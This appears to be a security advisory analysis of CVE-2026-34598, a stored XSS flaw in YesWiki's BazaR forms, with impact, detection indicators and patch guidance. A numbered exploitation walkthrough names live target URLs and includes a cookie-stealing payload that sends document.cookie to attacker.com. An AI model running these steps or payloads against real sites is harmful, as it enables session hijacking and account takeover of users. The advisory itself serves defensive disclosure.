CVE-2026-34598: 
PHP vulnerability analysis and mitigation

CVE-2026-34598 is a stored (persistent) and blind Cross-Site Scripting (XSS) vulnerability in YesWiki's BazaR form title field. An unauthenticated attacker can inject arbitrary JavaScript into the form title or event name/description fields, which is persisted in the backend database and executed in the browser of any user who subsequently views the affected page. All YesWiki versions prior to 4.6.0 are affected (specifically confirmed on version 4.5.4). The vulnerability was reported by researcher kh0kamoni, published to the GitHub Advisory Database on April 1, 2026, and assigned a CVSS v3.1 score of 6.1 (Medium) and a CVSS v4.0 score of 7.1 (High) (GitHub Advisory, YesWiki Advisory).

The root cause is improper neutralization of user-controlled input before it is rendered in web page output (CWE-79), compounded by insufficient handling of alternate XSS syntax (CWE-87). The application fails to sanitize or encode data submitted to the BazaR form's title, event name, and description fields before storing it in the database and later rendering it at /?BazaR&vue=consulter. Because no authentication is required to submit a form entry, any remote attacker can deliver a persistent payload (e.g., <script>alert(document.cookie)</script>) that executes in the browser context of every subsequent visitor — including administrators — making this a "blind" XSS where the attacker does not directly observe execution. A public proof-of-concept with step-by-step instructions is included in the official security advisory (YesWiki Advisory, GitHub Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of all users who view the affected BazaR listing page, including administrators. This enables session hijacking via cookie theft, credential harvesting, unauthorized actions performed on behalf of victims, and potential account takeover of privileged users. Because the payload is persistent and non-administrative users cannot delete injected records, the malicious script remains active until an administrator manually removes it, amplifying the risk of widespread impact across all site visitors (YesWiki Advisory).

A detailed proof-of-concept exploit is publicly available in the official GitHub security advisory, providing concrete steps, target URLs, and example payloads (YesWiki Advisory). The vulnerability requires no authentication and only passive user interaction (a victim visiting the page), lowering the exploitation barrier significantly. The EPSS score is approximately 0.062% (22nd percentile), and there is no current evidence of in-the-wild exploitation or CISA KEV catalog listing. No specific threat actor attribution has been reported (GitHub Advisory).

1. Reconnaissance: Identify publicly accessible YesWiki instances running versions prior to 4.6.0 using search engines or by browsing to /?BazaR&vue=formulaire on a target host (e.g., https://yeswiki.net/?BazaR&vue=formulaire or https://ferme.yeswiki.net/[username]/?BazaR&vue=formulaire).
2. Access the form: Navigate to the BazaR form page and click the + icon to add a new record via the Diary form — no login is required.
3. Inject the payload: In the Name of the event and/or Description fields, enter a malicious JavaScript payload such as <script>alert(document.cookie)</script> or a more sophisticated payload to exfiltrate cookies to an attacker-controlled server (e.g., <script>fetch('https://attacker.com/steal?c='+document.cookie)</script>).
4. Save the record: Click To validate to submit the form. The payload is now stored in the backend database.
5. Payload execution: When any user (including administrators) visits /?BazaR&vue=consulter or the specific diary record URL (/?wiki=BazaR&vue=consulter&action=recherche&q=&id=2&facette=), the injected script executes in their browser context.
6. Harvest results: Collect exfiltrated session cookies or tokens from the attacker-controlled server and use them to hijack authenticated sessions or perform actions on behalf of victims (YesWiki Advisory).

• Network: Outbound HTTP requests from victim browsers to unexpected external domains immediately after visiting /?BazaR&vue=consulter (indicative of cookie/data exfiltration via injected script); unusual GET/POST requests to attacker-controlled URLs in web proxy or firewall logs.
• Logs: Web server access logs showing form submissions (POST requests) to /?BazaR&vue=formulaire containing HTML/script tags or encoded equivalents (e.g., %3Cscript%3E) in form field parameters from unauthenticated or anonymous users.
• Application/Database: BazaR database entries in the form title, event name, or description fields containing <script>, javascript:, onerror=, onload=, or other HTML event handler patterns.
• Browser/Client: Unexpected JavaScript alert dialogs or console errors when visiting /?BazaR&vue=consulter; browser developer tools showing inline script execution originating from stored form content.

The vendor has released YesWiki version 4.6.0, which addresses this vulnerability; all users should upgrade immediately (YesWiki Release). As interim mitigations, administrators should implement strict input validation and output encoding for all form fields, apply a Content Security Policy (CSP) header to restrict inline script execution, and audit existing BazaR database entries for injected payloads. Restricting unauthenticated access to the BazaR form submission endpoint (/?BazaR&vue=formulaire) can reduce exposure until patching is complete (GitHub Advisory).

The vulnerability was responsibly disclosed by researcher kh0kamoni, who also noted in the advisory that they had successfully reproduced the XSS on the live yeswiki.net hosted instance and requested deletion of the test payload, as non-administrative users cannot remove persistent records. The YesWiki maintainer (mrflos) published the advisory and released the patch promptly. No significant broader media coverage or notable community commentary beyond the GitHub advisory has been identified (YesWiki Advisory).